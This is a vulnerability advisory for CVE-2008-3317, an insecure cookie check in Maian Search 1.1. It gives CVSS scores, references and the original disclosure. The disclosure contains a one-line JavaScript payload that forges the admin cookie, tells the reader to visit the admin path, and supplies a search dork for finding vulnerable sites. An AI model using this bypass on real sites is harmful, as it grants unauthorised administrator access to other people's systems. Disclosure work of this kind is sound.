Maian Search <= 1.1 Insecure Cookie Handling Vulnerability

2008.07.28

Credit: S.W.A.T.

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-3317

CWE: Not in CWE

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

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-[*]+ Maian Search <= v1.1 Insecure Cookie Handling Vulnerability +[*]-
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[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Search v1.1
[*] Vendor Has Not Been Notified!
[*] DESCRIPTION:
Maian Search suffers from a insecure cookie, the admin panel only checks if the cookie
exists.
and not the content. so we can easyily craft a cookie and look like a admin.
[*] Vulnerability:
javascript:document.cookie = "search_cookie=1; path=/";
[*] NOTE/TIP:
after running the javascript, visit "/admin/index.php" to view admin area.
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-[*]+ Maian Search <= v1.1 Insecure Cookie Handling Vulnerability +[*]-
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References:

http://www.securityfocus.com/bid/30211

http://www.milw0rm.com/exploits/6066

http://www.maianscriptworld.co.uk/news.html

http://www.maianscriptworld.co.uk/free-php-scripts/maian-search/development/index.html

http://secunia.com/advisories/31075

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